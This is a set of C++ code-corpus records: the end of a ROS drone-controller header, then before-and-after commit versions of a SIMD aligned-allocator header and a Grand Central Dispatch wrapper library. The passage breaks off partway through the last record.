&UAVController<_Scalar>::imuCallback,\r\n\t\t\t\tthis);\r\n\t\tpose_sub = nh.subscribe(\"pose1\", 10,\r\n\t\t\t\t&UAVController<_Scalar>::pose1Callback, this);\r\n\t\tground_truth_sub = nh.subscribe(\"ground_truth\/pose\", 10,\r\n\t\t\t\t&UAVController<_Scalar>::groundTruthPoseCallback, this);\r\n\r\n\t\tcommand_pub = nh.advertise<mav_msgs::CommandAttitudeThrust>(\r\n\t\t\t\t\"command\/attitude\", 10);\r\n\r\n\r\n\t\t\/\/ Wake up simulation, from this point on, you have 30s to initialize\r\n\t\t\/\/ everything and fly to the evaluation position (x=0m y=0m z=1m).\r\n\t\tROS_INFO(\"Waking up simulation ... \");\r\n\t\tstd_srvs::Empty srv;\r\n\t\tbool ret = ros::service::call(\"\/gazebo\/unpause_physics\", srv);\r\n\r\n\t\tif (ret)\r\n\t\t\tROS_INFO(\"... ok\");\r\n\t\telse {\r\n\t\t\tROS_FATAL(\"could not wake up gazebo\");\r\n\t\t\texit(-1);\r\n\t\t}\r\n\t}\r\n\r\n\t~UAVController() {\r\n\t}\r\n\r\n \/\/ TODO: exercise 1 e)\r\n\tvoid sendControlSignal() {\r\n SE3Type curr_pose;\r\n Vector3 curr_velocity;\r\n Vector3 desired_velocity = Vector3(0,0,0);\r\n\r\n double delta_time = 0.001d; \/\/ ?\r\n\r\n getPoseAndVelocity(curr_pose, curr_velocity);\r\n Vector3 dforce = computeDesiredForce(desired_pose, desired_velocity, delta_time);\r\n\r\n command = computeCommandFromForce(dforce, desired_pose, delta_time);\r\n command_pub.publish(command);\r\n }\r\n\r\n\r\n\tvoid setDesiredPose(const SE3Type & p) {\r\n\t\tdesired_pose = p;\r\n\t}\r\n\r\n\tEIGEN_MAKE_ALIGNED_OPERATOR_NEW\r\n};\r\n\r\n#endif \/* UAV_CONTROLLER_H_ *\/\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of Simdee, see homepage at http:\/\/github.com\/tufak\/simdee\n\/\/ This file is distributed under the MIT license.\n\n#ifndef SIMDEE_UTIL_MALLOC_HPP\n#define SIMDEE_UTIL_MALLOC_HPP\n\n#include <type_traits>\n#include <exception>\n#include <cstdlib>\n#include <cstdint>\n#include \"noexcept.hpp\"\n\nnamespace sd {\n\n namespace detail {\n#if defined(__GLIBCXX__) && (__GLIBCXX__ < 20150422 || __GLIBCXX__ == 20150623 || __GLIBCXX__ == 20150626 || __GLIBCXX__ == 20160803)\n \/\/ type_traits is buggered in libstdc++ up until GCC 5\n template <typename T>\n using is_trivially_default_constructible = std::has_trivial_default_constructor<T>;\n#else\n template <typename T>\n using is_trivially_default_constructible = std::is_trivially_default_constructible<T>;\n#endif\n\n inline constexpr bool is_pow2(std::size_t x) {\n return x && (x & (x - 1)) == 0;\n }\n\n template <typename T, std::size_t Align>\n struct aligned_allocator;\n template <typename T, std::size_t Align = alignof(T), bool Switch = (Align > alignof(double))>\n struct alloc;\n\n template <typename T, std::size_t Align>\n struct alloc<T, Align, false> {\n static T* malloc(std::size_t bytes) {\n return (T*)std::malloc(bytes);\n }\n static void free(T* ptr) {\n std::free(ptr);\n }\n using allocator = std::allocator<T>;\n using deleter = std::default_delete<T>;\n };\n\n template <typename T, std::size_t Align>\n struct alloc<T, Align, true> {\n static_assert(detail::is_pow2(Align), \"alignment must be a power of 2\");\n static_assert(Align <= 128, \"alignment is too large\");\n static_assert(Align > alignof(double), \"alignment is too small -- use malloc\");\n\n static T* malloc(std::size_t bytes) {\n auto orig = (uintptr_t)std::malloc(bytes + Align);\n if (orig == 0) return nullptr;\n auto aligned = (orig + Align) & ~(Align - 1);\n auto offset = int8_t(orig - aligned);\n ((int8_t*)aligned)[-1] = offset;\n return (T*)aligned;\n }\n\n static void free(T* aligned) {\n if (aligned == nullptr) return;\n auto offset = ((int8_t*)aligned)[-1];\n auto orig = uintptr_t(aligned) + offset;\n std::free((void*)orig);\n }\n\n using allocator = aligned_allocator<T, Align>;\n\n struct deleter {\n template <typename S>\n void operator()(S* ptr) {\n free(ptr);\n }\n };\n };\n\n template <typename T, std::size_t Align>\n struct aligned_allocator {\n using value_type = T;\n using alloc_t = alloc<T, Align>;\n\n aligned_allocator() = default;\n\n template <typename S>\n aligned_allocator(const aligned_allocator<S, Align>&) {}\n\n T* allocate(std::size_t count) const SIMDEE_NOEXCEPT {\n return alloc_t::malloc(sizeof(T) * count);\n }\n\n void deallocate(T* ptr, std::size_t) const SIMDEE_NOEXCEPT {\n alloc_t::free(ptr);\n }\n\n void destroy(T* ptr) const SIMDEE_NOEXCEPT_IF(std::is_nothrow_destructible<T>::value) {\n if (!std::is_trivially_destructible<T>::value) {\n ptr->~T();\n }\n else {\n no_op(ptr); \/\/ just to suppress MSVC warning \"ptr not referenced\"\n }\n }\n\n static void no_op(T*) {}\n\n void construct(T* ptr) const SIMDEE_NOEXCEPT_IF(std::is_nothrow_constructible<T>::value) {\n if (!is_trivially_default_constructible<T>::value) {\n new (ptr)T;\n }\n }\n\n template <typename A1, typename... A>\n void construct(T* ptr, A1&& a1, A&&... a2) const {\n new (ptr)T(std::forward<A1>(a1), std::forward<A...>(a2)...);\n }\n\n \/\/ default rebind should do just this, doesn't seem to work in MSVC though\n template <typename S>\n struct rebind {\n using other = aligned_allocator<S, Align>;\n };\n };\n\n template <typename T, typename U, std::size_t TS, std::size_t US>\n bool operator==(const aligned_allocator<T, TS>&, const aligned_allocator<U, US>&) { return true; }\n template <typename T, typename U, std::size_t TS, std::size_t US>\n bool operator!=(const aligned_allocator<T, TS>&, const aligned_allocator<U, US>&) { return false; }\n }\n}\n\n#endif \/\/ SIMDEE_UTIL_MALLOC_HPP\n<commit_msg>Make allocator's operator== inline<commit_after>\/\/ This file is a part of Simdee, see homepage at http:\/\/github.com\/tufak\/simdee\n\/\/ This file is distributed under the MIT license.\n\n#ifndef SIMDEE_UTIL_MALLOC_HPP\n#define SIMDEE_UTIL_MALLOC_HPP\n\n#include <type_traits>\n#include <exception>\n#include <cstdlib>\n#include <cstdint>\n#include \"noexcept.hpp\"\n\nnamespace sd {\n\n namespace detail {\n#if defined(__GLIBCXX__) && (__GLIBCXX__ < 20150422 || __GLIBCXX__ == 20150623 || __GLIBCXX__ == 20150626 || __GLIBCXX__ == 20160803)\n \/\/ type_traits is buggered in libstdc++ up until GCC 5\n template <typename T>\n using is_trivially_default_constructible = std::has_trivial_default_constructor<T>;\n#else\n template <typename T>\n using is_trivially_default_constructible = std::is_trivially_default_constructible<T>;\n#endif\n\n inline constexpr bool is_pow2(std::size_t x) {\n return x && (x & (x - 1)) == 0;\n }\n\n template <typename T, std::size_t Align>\n struct aligned_allocator;\n template <typename T, std::size_t Align = alignof(T), bool Switch = (Align > alignof(double))>\n struct alloc;\n\n template <typename T, std::size_t Align>\n struct alloc<T, Align, false> {\n static T* malloc(std::size_t bytes) {\n return (T*)std::malloc(bytes);\n }\n static void free(T* ptr) {\n std::free(ptr);\n }\n using allocator = std::allocator<T>;\n using deleter = std::default_delete<T>;\n };\n\n template <typename T, std::size_t Align>\n struct alloc<T, Align, true> {\n static_assert(detail::is_pow2(Align), \"alignment must be a power of 2\");\n static_assert(Align <= 128, \"alignment is too large\");\n static_assert(Align > alignof(double), \"alignment is too small -- use malloc\");\n\n static T* malloc(std::size_t bytes) {\n auto orig = (uintptr_t)std::malloc(bytes + Align);\n if (orig == 0) return nullptr;\n auto aligned = (orig + Align) & ~(Align - 1);\n auto offset = int8_t(orig - aligned);\n ((int8_t*)aligned)[-1] = offset;\n return (T*)aligned;\n }\n\n static void free(T* aligned) {\n if (aligned == nullptr) return;\n auto offset = ((int8_t*)aligned)[-1];\n auto orig = uintptr_t(aligned) + offset;\n std::free((void*)orig);\n }\n\n using allocator = aligned_allocator<T, Align>;\n\n struct deleter {\n template <typename S>\n void operator()(S* ptr) {\n free(ptr);\n }\n };\n };\n\n template <typename T, std::size_t Align>\n struct aligned_allocator {\n using value_type = T;\n using alloc_t = alloc<T, Align>;\n\n aligned_allocator() = default;\n\n template <typename S>\n aligned_allocator(const aligned_allocator<S, Align>&) {}\n\n T* allocate(std::size_t count) const SIMDEE_NOEXCEPT {\n return alloc_t::malloc(sizeof(T) * count);\n }\n\n void deallocate(T* ptr, std::size_t) const SIMDEE_NOEXCEPT {\n alloc_t::free(ptr);\n }\n\n void destroy(T* ptr) const SIMDEE_NOEXCEPT_IF(std::is_nothrow_destructible<T>::value) {\n if (!std::is_trivially_destructible<T>::value) {\n ptr->~T();\n }\n else {\n no_op(ptr); \/\/ just to suppress MSVC warning \"ptr not referenced\"\n }\n }\n\n static void no_op(T*) {}\n\n void construct(T* ptr) const SIMDEE_NOEXCEPT_IF(std::is_nothrow_constructible<T>::value) {\n if (!is_trivially_default_constructible<T>::value) {\n new (ptr)T;\n }\n }\n\n template <typename A1, typename... A>\n void construct(T* ptr, A1&& a1, A&&... a2) const {\n new (ptr)T(std::forward<A1>(a1), std::forward<A...>(a2)...);\n }\n\n \/\/ default rebind should do just this, doesn't seem to work in MSVC though\n template <typename S>\n struct rebind {\n using other = aligned_allocator<S, Align>;\n };\n };\n\n template <typename T, typename U, std::size_t TS, std::size_t US>\n inline bool operator==(const aligned_allocator<T, TS>&, const aligned_allocator<U, US>&) { return true; }\n template <typename T, typename U, std::size_t TS, std::size_t US>\n inline bool operator!=(const aligned_allocator<T, TS>&, const aligned_allocator<U, US>&) { return false; }\n }\n}\n\n#endif \/\/ SIMDEE_UTIL_MALLOC_HPP\n<|endoftext|>"} {"text":"<commit_before>#ifndef VSMC_UTILITY_DISPATCH_HPP\n#define VSMC_UTILITY_DISPATCH_HPP\n\n#include <vsmc\/internal\/common.hpp>\n#include <dispatch\/dispatch.h>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Types of DispatchQueue\n\/\/\/ \\ingroup Dispatch\nenum DispatchQueueType {\n Main, \/\/\/< The queue obtained through `dispatch_get_main_queue`\n Global, \/\/\/< The queue obtained through `dispatch_get_gloal_queue`\n Private \/\/\/< The queue created by `dispatch_queue_create`\n};\n\ntemplate <DispatchQueueType> class DispatchQueue;\n\n\/\/\/ \\brief Base class of Dispatch objects\n\/\/\/ \\ingroup Dispatch\n\/\/\/\n\/\/\/ \\details All Dispatch objects are reference counting shared objects\ntemplate <typename DispatchType>\nclass DispatchObject\n{\n public :\n\n \/\/\/ \\brief Create a DispatchObject from its C-type object\n \/\/\/\n \/\/\/ \\details\n \/\/\/ The original object will be retained by this object\n explicit DispatchObject (DispatchType object) : object_(object)\n {dispatch_retain(object);}\n\n DispatchObject (const DispatchObject &other) : object_(other.object_)\n {dispatch_retain(object_);}\n\n DispatchObject &operator= (const DispatchObject &other)\n {\n object_ = other.object_;\n dispatch_retain(object_);\n\n return *this;\n }\n\n ~DispatchObject () {dispatch_release(object_);}\n\n \/\/\/ \\brief Return the underlying Dispatch object\n const DispatchType get () const {return object_;}\n\n \/\/\/ \\brief If the object is non-NULL\n bool empty () const\n {\n if (object_)\n return false;\n else\n return true;\n }\n\n void *get_context () const {return dispatch_get_context(object_);}\n\n void set_context (void *ctx) {dispatch_set_context(object_, ctx);}\n\n void set_finalizer_f (dispatch_function_t finalizer)\n {dispatch_set_finalizer_t(object_, finalizer);}\n\n private :\n\n DispatchType object_;\n}; \/\/ class DispatchObject\n\n\/\/\/ \\brief Base class of DispatchQueue\n\/\/\/ \\ingroup Dispatch\nclass DispatchQueueBase : public DispatchObject<dispatch_queue_t>\n{\n public :\n\n void resume () {dispatch_resume(this->get());}\n\n void suspend () {dispatch_suspend(this->get());}\n\n const char *get_label () const\n {return dispatch_queue_get_label(this->get());}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void *get_specific (const void *key) const\n {return dispatch_queue_get_specific(this->get(), key);}\n\n void set_specific (const void *key, void *context,\n dispatch_function_t destructor)\n {dispatch_queue_set_specific(this->get(), key, context, destructor);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n \/\/\/ \\brief Set this queue as the target queue for the object\n \/\/\/\n \/\/\/ \\details\n \/\/\/ Note that set this queue as the target of an dispatch object will\n \/\/\/ retain the queue.\n template <typename DispatchType>\n void set_as_target (const DispatchObject<DispatchType> &object) const\n {dispatch_set_target_queue(object.get(), this->get());}\n\n void after_f (dispatch_time_t when, void *context,\n dispatch_function_t f) const\n {dispatch_after_f(when, this->get(), context, f);}\n\n void apply_f (std::size_t iterations, void *context,\n void (*work) (void *, std::size_t)) const\n {dispatch_apply_f(iterations, this->get(), context, work);}\n\n void async_f (void *context, dispatch_function_t work) const\n {dispatch_async_f(this->get(), context, work);}\n\n void sync_f (void *context, dispatch_function_t work) const\n {dispatch_sync_f(this->get(), context, work);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void barrier_async_f (void *context, dispatch_function_t work) const\n {dispatch_barrier_async_f(this->get(), context, work);}\n\n void barrier_sync_f (void *context, dispatch_function_t work) const\n {dispatch_barrier_sync_f(this->get(), context, work);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n#ifdef __BLOCKS__\n void after (dispatch_time_t when, dispatch_block_t block) const\n {dispatch_after(when, this->get(), block);}\n\n void apply (std::size_t iterations, void (^block) (std::size_t)) const\n {dispatch_apply(iterations, this->get(), block);}\n\n void async (dispatch_block_t block) const\n {dispatch_async(this->get(), block);}\n\n void sync (dispatch_block_t block) const\n {dispatch_sync(this->get(), block);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void barrier_async (dispatch_block_t block) const\n {dispatch_barrier_async(this->get(), block);}\n\n void barrier_sync (dispatch_block_t block) const\n {dispatch_barrier_sync(this->get(), block);}\n\n void read (dispatch_fd_t fd, std::size_t length,\n void (^handler) (dispatch_data_t, int)) const\n {dispatch_read(fd, length, this->get(), handler);}\n\n void write (dispatch_fd_t fd, dispatch_data_t data,\n void (^handler) (dispatch_data_t, int)) const\n {dispatch_write(fd, data, this->get(), handler);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n#endif \/\/ __BLOCKS__\n\n protected :\n\n DispatchQueueBase (dispatch_queue_t queue) :\n DispatchObject<dispatch_queue_t>(queue) {}\n\n DispatchQueueBase (const DispatchQueueBase &other) :\n DispatchObject<dispatch_queue_t>(other) {}\n\n DispatchQueueBase &operator= (const DispatchQueueBase &other)\n {DispatchObject<dispatch_queue_t>::operator=(other); return *this;}\n}; \/\/ class DispatchQueueBase\n\n\/\/\/ \\brief The main dispatch queue (`dipatch_get_main_queue`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Main> : public DispatchQueueBase\n{\n public :\n\n DispatchQueue () : DispatchQueueBase(dispatch_get_main_queue()) {}\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief The global (concurrent) dispatch queue (`dispatch_get_gloal_queue`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Global> : public DispatchQueueBase\n{\n public :\n\n DispatchQueue (dispatch_queue_priority_t priority =\n DISPATCH_QUEUE_PRIORITY_DEFAULT, unsigned long flags = 0) :\n DispatchQueueBase(dispatch_get_global_queue(priority, flags)) {}\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief A private dispatch queue (`dispatch_queue_create`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Private> : public DispatchQueueBase\n{\n public :\n\n DispatchQueue (const char *name, dispatch_queue_attr_t attr = NULL) :\n DispatchQueueBase(dispatch_queue_create(name, attr)) {}\n\n ~DispatchQueue () {dispatch_release(this->get());}\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief A Dispatch group\n\/\/\/ \\ingroup Dispatch\nclass DispatchGroup : public DispatchObject<dispatch_group_t>\n{\n public :\n\n DispatchGroup () :\n DispatchObject<dispatch_group_t>(dispatch_group_create()) {}\n\n ~DispatchGroup () {dispatch_release(this->get());}\n\n void enter () {dispatch_group_enter(this->get());}\n\n void leave () {dispatch_group_leave(this->get());}\n\n long wait (dispatch_time_t timeout)\n {return dispatch_group_wait(this->get(), timeout);}\n\n template <DispatchQueueType Type>\n void async_f (const DispatchQueue<Type> &queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_async_f(this->get(), queue.get(), context, work);}\n\n void async_f (dispatch_queue_t queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_async_f(this->get(), queue, context, work);}\n\n template <DispatchQueueType Type>\n void notify_f (const DispatchQueue<Type> &queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_notify_f(this->get(), queue.get(), context, work);}\n\n void notify_f (dispatch_queue_t queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_notify_f(this->get(), queue, context, work);}\n\n#ifdef __BLOCKS__\n template <DispatchQueueType Type>\n void async (const DispatchQueue<Type> &queue,\n dispatch_block_t block) const\n {dispatch_group_async(this->get(), queue.get(), block);}\n\n void async (dispatch_queue_t queue,\n dispatch_block_t block) const\n {dispatch_group_async(this->get(), queue, block);}\n\n template <DispatchQueueType Type>\n void notify (const DispatchQueue<Type> &queue,\n dispatch_block_t block) const\n {dispatch_group_notify(this->get(), queue.get(), block);}\n\n void notify (dispatch_queue_t queue,\n dispatch_block_t block) const\n {dispatch_group_notify(this->get(), queue, block);}\n#endif \/\/ __BLOCKS__\n}; \/\/ class DispatchGroup\n\n\/\/\/ \\brief Base class of DispatchSource\n\/\/\/ \\ingroup Dispatch\ntemplate <dispatch_source_type_t Type>\nclass DispatchSourceBase : public DispatchObject<dispatch_source_t>\n{\n public :\n\n void resume () {dispatch_resume(this->get());}\n\n void suspend () {dispatch_suspend(this->get());}\n\n void cancel () {dispatch_source_cancel(this->get());}\n\n long test_cancel () const\n {return dispatch_source_test_cancel(this->get());}\n\n unsigned long get_data () const {dispatch_source_get_data(this->get());}\n\n uintptr_t get_handle () const {dispatch_source_get_handle(this->get());}\n\n unsigned long get_mask () const {dispatch_source_get_mask(this->get());}\n\n void set_cancel_handler_f (dispatch_function_t cancel_handler)\n {dispatch_source_set_cancel_handler_f(this->get(), cancel_handler);}\n\n void set_event_handler_f (dispatch_function_t event_handler)\n {dispatch_source_set_event_handler_f(this->get(), event_handler);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void set_registration_handler_f (dispatch_function_t registration_handler)\n {\n dispatch_source_set_registration_handler_f(\n this->get(), registration_handler);\n }\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n#ifdef __BLOCKS__\n void set_cancel_handler (dispatch_block_t cancel_handler)\n {dispatch_source_set_cancel_handler(this->get(), cancel_handler);}\n\n void set_event_handler (dispatch_block_t event_handler)\n {dispatch_source_set_event_handler(this->get(), event_handler);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void set_registration_handler (dispatch_block_t registration_handler)\n {\n dispatch_source_set_registration_handler(\n this->get(), registration_handler);\n }\n#endif \/\/ MAC_OS_X_VERSION_10_7\n#endif \/\/ __BLOCKS__\n\n DispatchSourceBase (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) : DispatchObject<dispatch_source_t>(\n dispatch_source_create(Type, handle, mask, queue)) {}\n\n DispatchSourceBase (const DispatchSourceBase &other) :\n DispatchObject<dispatch_source_t>(other) {}\n\n DispatchSourceBase &operator= (const DispatchSourceBase &other)\n {DispatchObject<dispatch_source_t>::operator=(other); return *this;}\n\n ~DispatchSourceBase () {dispatch_release(this->get());}\n}; \/\/ class DispatchSourceBase\n\n\/\/\/ \\brief A dispatch source\ntemplate <dispatch_source_type_t Type>\nclass DispatchSource : public DispatchSourceBase<Type>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) : DispatchSourceBase<Type>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) : DispatchSourceBase<Type>(\n handle, mask, queue) {}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_DATA_ADD> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>(\n handle, mask, queue) {}\n\n void merge_data (unsigned long value) const\n {dispatch_source_merge_data(this->get(), value);}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_DATA_OR> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>(\n handle, mask, queue) {}\n\n void merge_data (unsigned long value) const\n {dispatch_source_merge_data(this->get(), value);}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_TIMER> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue) {}\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue,\n dispatch_time_t start, uint64_t interval, uint64_t leeway) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue.get())\n {set_timer(start, interval, leeway);}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue,\n dispatch_time_t start, uint64_t interval, uint64_t leeway) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue)\n {set_timer(start, interval, leeway);}\n\n void set_timer (dispatch_time_t start, uint64_t interval, uint64_t leeway)\n {dispatch_source_set_timer(this->get(), start, interval, leeway);}\n}; \/\/ class DispatchSource\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_UTILITY_DISPATCH_HPP\n<commit_msg>disable use dispatch_queue_priority_t in linux<commit_after>#ifndef VSMC_UTILITY_DISPATCH_HPP\n#define VSMC_UTILITY_DISPATCH_HPP\n\n#include <vsmc\/internal\/common.hpp>\n#include <dispatch\/dispatch.h>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Types of DispatchQueue\n\/\/\/ \\ingroup Dispatch\nenum DispatchQueueType {\n Main, \/\/\/< The queue obtained through `dispatch_get_main_queue`\n Global, \/\/\/< The queue obtained through `dispatch_get_gloal_queue`\n Private \/\/\/< The queue created by `dispatch_queue_create`\n};\n\ntemplate <DispatchQueueType> class DispatchQueue;\n\n\/\/\/ \\brief Base class of Dispatch objects\n\/\/\/ \\ingroup Dispatch\n\/\/\/\n\/\/\/ \\details All Dispatch objects are reference counting shared objects\ntemplate <typename DispatchType>\nclass DispatchObject\n{\n public :\n\n \/\/\/ \\brief Create a DispatchObject from its C-type object\n \/\/\/\n \/\/\/ \\details\n \/\/\/ The original object will be retained by this object\n explicit DispatchObject (DispatchType object) : object_(object)\n {dispatch_retain(object);}\n\n DispatchObject (const DispatchObject &other) : object_(other.object_)\n {dispatch_retain(object_);}\n\n DispatchObject &operator= (const DispatchObject &other)\n {\n object_ = other.object_;\n dispatch_retain(object_);\n\n return *this;\n }\n\n ~DispatchObject () {dispatch_release(object_);}\n\n \/\/\/ \\brief Return the underlying Dispatch object\n const DispatchType get () const {return object_;}\n\n \/\/\/ \\brief If the object is non-NULL\n bool empty () const\n {\n if (object_)\n return false;\n else\n return true;\n }\n\n void *get_context () const {return dispatch_get_context(object_);}\n\n void set_context (void *ctx) {dispatch_set_context(object_, ctx);}\n\n void set_finalizer_f (dispatch_function_t finalizer)\n {dispatch_set_finalizer_t(object_, finalizer);}\n\n private :\n\n DispatchType object_;\n}; \/\/ class DispatchObject\n\n\/\/\/ \\brief Base class of DispatchQueue\n\/\/\/ \\ingroup Dispatch\nclass DispatchQueueBase : public DispatchObject<dispatch_queue_t>\n{\n public :\n\n void resume () {dispatch_resume(this->get());}\n\n void suspend () {dispatch_suspend(this->get());}\n\n const char *get_label () const\n {return dispatch_queue_get_label(this->get());}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void *get_specific (const void *key) const\n {return dispatch_queue_get_specific(this->get(), key);}\n\n void set_specific (const void *key, void *context,\n dispatch_function_t destructor)\n {dispatch_queue_set_specific(this->get(), key, context, destructor);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n \/\/\/ \\brief Set this queue as the target queue for the object\n \/\/\/\n \/\/\/ \\details\n \/\/\/ Note that set this queue as the target of an dispatch object will\n \/\/\/ retain the queue.\n template <typename DispatchType>\n void set_as_target (const DispatchObject<DispatchType> &object) const\n {dispatch_set_target_queue(object.get(), this->get());}\n\n void after_f (dispatch_time_t when, void *context,\n dispatch_function_t f) const\n {dispatch_after_f(when, this->get(), context, f);}\n\n void apply_f (std::size_t iterations, void *context,\n void (*work) (void *, std::size_t)) const\n {dispatch_apply_f(iterations, this->get(), context, work);}\n\n void async_f (void *context, dispatch_function_t work) const\n {dispatch_async_f(this->get(), context, work);}\n\n void sync_f (void *context, dispatch_function_t work) const\n {dispatch_sync_f(this->get(), context, work);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void barrier_async_f (void *context, dispatch_function_t work) const\n {dispatch_barrier_async_f(this->get(), context, work);}\n\n void barrier_sync_f (void *context, dispatch_function_t work) const\n {dispatch_barrier_sync_f(this->get(), context, work);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n#ifdef __BLOCKS__\n void after (dispatch_time_t when, dispatch_block_t block) const\n {dispatch_after(when, this->get(), block);}\n\n void apply (std::size_t iterations, void (^block) (std::size_t)) const\n {dispatch_apply(iterations, this->get(), block);}\n\n void async (dispatch_block_t block) const\n {dispatch_async(this->get(), block);}\n\n void sync (dispatch_block_t block) const\n {dispatch_sync(this->get(), block);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void barrier_async (dispatch_block_t block) const\n {dispatch_barrier_async(this->get(), block);}\n\n void barrier_sync (dispatch_block_t block) const\n {dispatch_barrier_sync(this->get(), block);}\n\n void read (dispatch_fd_t fd, std::size_t length,\n void (^handler) (dispatch_data_t, int)) const\n {dispatch_read(fd, length, this->get(), handler);}\n\n void write (dispatch_fd_t fd, dispatch_data_t data,\n void (^handler) (dispatch_data_t, int)) const\n {dispatch_write(fd, data, this->get(), handler);}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n#endif \/\/ __BLOCKS__\n\n protected :\n\n DispatchQueueBase (dispatch_queue_t queue) :\n DispatchObject<dispatch_queue_t>(queue) {}\n\n DispatchQueueBase (const DispatchQueueBase &other) :\n DispatchObject<dispatch_queue_t>(other) {}\n\n DispatchQueueBase &operator= (const DispatchQueueBase &other)\n {DispatchObject<dispatch_queue_t>::operator=(other); return *this;}\n}; \/\/ class DispatchQueueBase\n\n\/\/\/ \\brief The main dispatch queue (`dipatch_get_main_queue`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Main> : public DispatchQueueBase\n{\n public :\n\n DispatchQueue () : DispatchQueueBase(dispatch_get_main_queue()) {}\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief The global (concurrent) dispatch queue (`dispatch_get_gloal_queue`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Global> : public DispatchQueueBase\n{\n public :\n\n#ifdef MAC_OS_X_VERSION_10_7\n DispatchQueue (dispatch_queue_priority_t priority =\n DISPATCH_QUEUE_PRIORITY_DEFAULT, unsigned long flags = 0) :\n DispatchQueueBase(dispatch_get_global_queue(priority, flags)) {}\n#else \/\/ MAC_OS_X_VERSION_10_7\n DispatchQueue (long priority = 0, unsigned long flags = 0) :\n DispatchQueueBase(dispatch_get_global_queue(priority, flags)) {}\n#endif \/\/ MAC_OS_X_VERSION_10_7\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief A private dispatch queue (`dispatch_queue_create`)\n\/\/\/ \\ingroup Dispatch\ntemplate <>\nclass DispatchQueue<Private> : public DispatchQueueBase\n{\n public :\n\n DispatchQueue (const char *name, dispatch_queue_attr_t attr = NULL) :\n DispatchQueueBase(dispatch_queue_create(name, attr)) {}\n\n ~DispatchQueue () {dispatch_release(this->get());}\n}; \/\/ class DispatchQueue\n\n\/\/\/ \\brief A Dispatch group\n\/\/\/ \\ingroup Dispatch\nclass DispatchGroup : public DispatchObject<dispatch_group_t>\n{\n public :\n\n DispatchGroup () :\n DispatchObject<dispatch_group_t>(dispatch_group_create()) {}\n\n ~DispatchGroup () {dispatch_release(this->get());}\n\n void enter () {dispatch_group_enter(this->get());}\n\n void leave () {dispatch_group_leave(this->get());}\n\n long wait (dispatch_time_t timeout)\n {return dispatch_group_wait(this->get(), timeout);}\n\n template <DispatchQueueType Type>\n void async_f (const DispatchQueue<Type> &queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_async_f(this->get(), queue.get(), context, work);}\n\n void async_f 